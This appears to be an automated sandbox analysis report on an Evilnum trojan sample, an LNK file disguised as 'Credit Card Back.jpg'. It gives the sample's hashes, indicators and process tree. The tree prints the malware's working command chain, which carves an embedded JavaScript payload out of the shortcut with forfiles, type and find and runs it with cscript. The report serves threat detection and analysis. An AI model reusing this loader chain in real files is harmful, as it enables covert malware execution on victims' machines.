evilnum | 4930874f700dd81bff1c0f2ec7a8f55741987e102be8164bdc4aad6ea97062cb

Analysis

Target

4930874f700dd81bff1c0f2ec7a8f55741987e102be8164bdc4aad6ea97062cb.lnk
Size

199KB
MD5

80b0ba4ef46a22bfd43f967905c25a75
SHA1

ee59bc476bb3a7db1190beb791a5aa8550fc9541
SHA256

4930874f700dd81bff1c0f2ec7a8f55741987e102be8164bdc4aad6ea97062cb
SHA512

cf2285060985e7eaec4485394c739452e80847047e45d1431bd540ff40eaf1e393058eab1fd08ca1663326fab7494a65e0c1c10e17b4c57abe0298c8a8647d28

Score

10^/10

evilnum trojan

Evilnum
A malware family with multiple components distributed through LNK files.
trojan evilnum
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1752 wrote to memory of 268	1752	cmd.exe	28
PID 1752 wrote to memory of 268	1752	cmd.exe	28
PID 1752 wrote to memory of 268	1752	cmd.exe	28
PID 268 wrote to memory of 760	268	cmd.exe	29
PID 268 wrote to memory of 760	268	cmd.exe	29
PID 268 wrote to memory of 760	268	cmd.exe	29
PID 268 wrote to memory of 292	268	cmd.exe	30
PID 268 wrote to memory of 292	268	cmd.exe	30
PID 268 wrote to memory of 292	268	cmd.exe	30
PID 268 wrote to memory of 452	268	cmd.exe	31
PID 268 wrote to memory of 452	268	cmd.exe	31
PID 268 wrote to memory of 452	268	cmd.exe	31
PID 268 wrote to memory of 1272	268	cmd.exe	32
PID 268 wrote to memory of 1272	268	cmd.exe	32
PID 268 wrote to memory of 1272	268	cmd.exe	32
PID 268 wrote to memory of 620	268	cmd.exe	33
PID 268 wrote to memory of 620	268	cmd.exe	33
PID 268 wrote to memory of 620	268	cmd.exe	33

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\4930874f700dd81bff1c0f2ec7a8f55741987e102be8164bdc4aad6ea97062cb.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c path=C:\Windows\system32&&move "Credit Card Back.jpg.lnk " "C:\Users\Admin\AppData\Local\Temp\1.lnk"&forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Cred*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"&type "C:\Users\Admin\AppData\Local\Temp\1.lnk"|find "TRU4">"C:\Users\Admin\AppData\Local\Temp\0.js"|rd a||cSCripT "C:\Users\Admin\AppData\Local\Temp\0.js"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:268
- - C:\Windows\system32\forfiles.exe
    forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Cred*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"
    3⤵
    PID:760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\1.lnk""
    3⤵
    PID:292
- - C:\Windows\system32\find.exe
    find "TRU4"
    3⤵
    PID:452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" rd a"
    3⤵
    PID:1272
- - C:\Windows\system32\cscript.exe
    cSCripT "C:\Users\Admin\AppData\Local\Temp\0.js"
    3⤵
    PID:620

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/1752-55-0x000007FEFC261000-0x000007FEFC263000-memory.dmp

Filesize
8KB

Download